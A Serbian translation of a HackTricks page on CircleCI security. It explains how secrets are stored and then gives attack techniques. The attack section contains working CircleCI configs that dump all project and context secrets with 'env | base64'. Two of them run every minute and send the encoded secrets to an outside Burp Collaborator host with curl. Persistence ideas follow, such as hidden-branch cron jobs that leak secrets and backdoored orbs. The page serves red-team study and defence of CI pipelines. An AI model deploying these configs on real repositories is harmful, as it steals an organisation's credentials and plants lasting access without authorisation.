CircleCI Security

Naučite hakovanje AWS od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne Informacije

CircleCI je platforma za kontinualnu integraciju gde možete definisati šablone koji pokazuju šta želite da radi sa određenim kodom i kada to da uradi. Na ovaj način možete automatizovati testiranje ili implementacije direktno iz glavne grane vašeg repozitorijuma na primer.

Dozvole

CircleCI nasleđuje dozvole iz github-a i bitbucket-a koje se odnose na nalog koji se prijavljuje. U mom testiranju sam proverio da sve dok imate dozvole za pisanje nad repozitorijumom u github-u, moći ćete da upravljate postavkama projekta u CircleCI-u (postavite nove ssh ključeve, dobijete api ključeve projekta, kreirate nove grane sa novim CircleCI konfiguracijama...).

Međutim, morate biti admin repozitorijuma kako biste pretvorili repozitorijum u CircleCI projekat.

Env Promenljive & Tajne

Prema dokumentaciji postoje različiti načini za učitavanje vrednosti u okružne promenljive unutar radnog toka.

Ugrađene env promenljive

Svaki kontejner pokrenut od strane CircleCI će uvek imati specifične env promenljive definisane u dokumentaciji kao što su CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME ili CIRCLE_USERNAME.

Čisti tekst

Možete ih deklarisati u čistom tekstu unutar komande:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

Možete ih deklarisati u čistom tekstu unutar run environment-a:

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

Možete ih deklarisati u čistom tekstu unutar build-job okruženja:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Možete ih deklarisati u čistom tekstu unutar okruženja kontejnera:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Projektni tajni

Ovo su tajne do kojih će imati pristup samo projekat (od bilo koje grane). Možete ih videti deklarisane u https://app.circleci.com/settings/project/github/<org_ime>/<repo_ime>/environment-variables

Funkcionalnost "Uvoz varijabli" omogućava uvoz varijabli iz drugih projekata u ovaj.

Kontekstualne tajne

Ovo su tajne koje su org široke. Po podrazumevanom podešavanju, svaki repozitorijum će moći da pristupi bilo kojoj tajni ovde sačuvanoj:

Međutim, imajte na umu da se može izabrati druga grupa (umesto Svi članovi) kako bi se omogućio pristup tajnama samo određenim osobama. Ovo je trenutno jedan od najboljih načina da se poveća bezbednost tajni, da se ne dozvoli svima pristup već samo određenim osobama.

Napadi

Pretraga tajni u čistom tekstu

Ako imate pristup VCS-u (kao što je github) proverite datoteku .circleci/config.yml svakog repozitorijuma na svakoj grani i tražite potencijalne tajne u čistom tekstu sačuvane u njima.

Tajne Env Vars & enumeracija konteksta

Proverom koda možete pronaći sve nazive tajni koje se koriste u svakoj .circleci/config.yml datoteci. Takođe možete dobiti nazive konteksta iz tih datoteka ili ih proveriti u veb konzoli: https://app.circleci.com/settings/organization/github/<org_ime>/contexts.

Eksfiltracija projektnih tajni

Da biste eksfiltrirali SVE projektni i kontekstualni TAJNE, potrebno je da imate PISAN pristup samo jednom repozitorijumu u celom github org (i vaš nalog mora imati pristup kontekstima, ali podrazumevano svako može pristupiti svakom kontekstu).

Funkcionalnost "Uvoz varijabli" omogućava uvoz varijabli iz drugih projekata u ovaj. Stoga, napadač bi mogao uvoziti sve projektne varijable iz svih repozitorijuma a zatim eksfiltrirati ih sve zajedno.

Sve projektne tajne uvek su postavljene u okruženju poslova, pa će samo pozivanje okruženja i njegovo prikrivanje u base64 eksfiltrirati tajne u web konzoli dnevnika radnih tokova:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

Ako nemate pristup web konzoli ali imate pristup repozitorijumu i znate da se koristi CircleCI, možete jednostavno kreirati radni tok koji se pokreće svake minute i koji iznosi tajne informacije na spoljni adresu:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

Iznesi Tajne Konteksta

Potrebno je navesti ime konteksta (ovo će takođe izneti tajne projekta):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

Ako nemate pristup web konzoli ali imate pristup repozitorijumu i znate da se koristi CircleCI, možete jednostavno izmeniti radni tok koji se pokreće svakog minuta i koji iznosi tajne informacije na spoljni adresu:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

Samo kreiranje novog .circleci/config.yml u repozitorijumu nije dovoljno da pokrene circleci izgradnju. Morate ga omogućiti kao projekat u circleci konzoli.

Bekstvo u Oblake

CircleCI vam pruža opciju da pokrenete vaše izgradnje na njihovim mašinama ili na vašim sopstvenim. Podrazumevano, njihove mašine se nalaze u GCP-u, i na početku nećete moći da pronađete ništa relevantno. Međutim, ako žrtva pokreće zadatke na svojim mašinama (potencijalno, u cloud okruženju), možda ćete pronaći cloud metadata endpoint sa zanimljivim informacijama.

Primetite da su u prethodnim primerima pokrenuti svi procesi unutar docker kontejnera, ali takođe možete zatražiti pokretanje VM mašine (koja može imati različite cloud dozvole):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

Ili čak docker kontejner sa pristupom udaljenoj docker usluzi:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

Upornost

  • Moguće je kreirati korisničke tokene u CircleCI-u kako bi se pristupilo API endpointima sa korisničkim pristupom.

  • https://app.circleci.com/settings/user/tokens

  • Moguće je kreirati tokens projekata kako bi se pristupilo projektu sa dozvolama date tokenu.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/api

  • Moguće je dodati SSH ključeve projektima.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh

  • Moguće je kreirati cron posao u skrivenoj grani u neočekivanom projektu koji otkriva sve kontekstne env varijable svakodnevno.

  • Ili čak kreirati u grani / izmeniti poznati posao koji će otkriti sve kontekste i tajne projekta svakodnevno.

  • Ako ste vlasnik na Github-u, možete omogućiti neoverifikovane orbove i konfigurisati jedan u poslu kao zadnja vrata

  • Možete pronaći ranjivost ubacivanja komandi u nekom zadatku i ubaciti komande putem tajnog modifikujući njegovu vrednost

Last updated